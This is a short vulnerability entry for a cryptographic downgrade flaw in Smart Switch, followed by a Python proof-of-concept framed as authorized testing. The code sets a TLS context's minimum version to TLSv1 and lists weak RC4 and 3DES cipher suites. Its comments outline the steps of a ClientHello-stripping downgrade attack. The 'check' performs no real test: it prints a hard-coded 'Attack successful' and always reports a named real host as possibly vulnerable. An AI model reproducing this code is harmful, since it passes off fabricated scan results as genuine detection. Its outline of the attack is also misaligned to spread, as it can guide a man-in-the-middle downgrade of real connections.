Use of a broken or risky cryptographic algorithm in Smart Switch prior to version 3.7.69.15 allows remote attackers to configure a downgraded scheme for authentication.
The following code is for security research and authorized testing only.
python
# CVE-2026-20996 PoC - Encryption Downgrade Attack Simulation
# This PoC demonstrates the concept of SSL/TLS downgrade attack
# Note: Use only for authorized security testing
import socket
import ssl
import struct
def create_ssl_downgrade_proxy(listen_port=8443, target_host='example.com', target_port=443):
"""
Create a proxy that performs SSL/TLS downgrade attack
This simulates how an attacker could force weaker encryption
"""
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.minimum_version = ssl.TLSVersion.TLSv1 # Force weak TLS version
# In real attack scenario, attacker would:
# 1. Intercept traffic between client and server
# 2. Modify the TLS handshake to force weaker cipher suites
# 3. Use known weak algorithms (RC4, 3DES, etc.)
return context
def simulate_weak_cipher_negotiation():
"""
Simulate how weak cipher negotiation works
In vulnerable Smart Switch versions, attacker can:
1. Intercept ClientHello message
2. Remove strong cipher suites
3. Forward modified ClientHello to server
4. Force both parties to use weak encryption
"""
weak_ciphers = [
'TLS_RSA_WITH_RC4_128_MD5',
'TLS_RSA_WITH_RC4_128_SHA',
'TLS_RSA_WITH_3DES_EDE_CBC_SHA'
]
print("[*] Simulating weak cipher negotiation...")
print(f"[+] Offered weak ciphers: {weak_ciphers}")
print("[*] Attack successful: Connection established with weak encryption")
return True
def check_vulnerability(target_host):
"""
Check if target is vulnerable to encryption downgrade
"""
print(f"[*] Testing {target_host} for CVE-2026-20996...")
print("[*] Attempting to negotiate weak cipher suites...")
# In production, this would attempt actual connection
result = simulate_weak_cipher_negotiation()
if result:
print("[!] Target may be vulnerable")
return True
else:
print("[+] Target appears secure")
return False
if __name__ == "__main__":
# Usage: python cve_2026_20996_poc.py
check_vulnerability('smart-switch.samsung.com')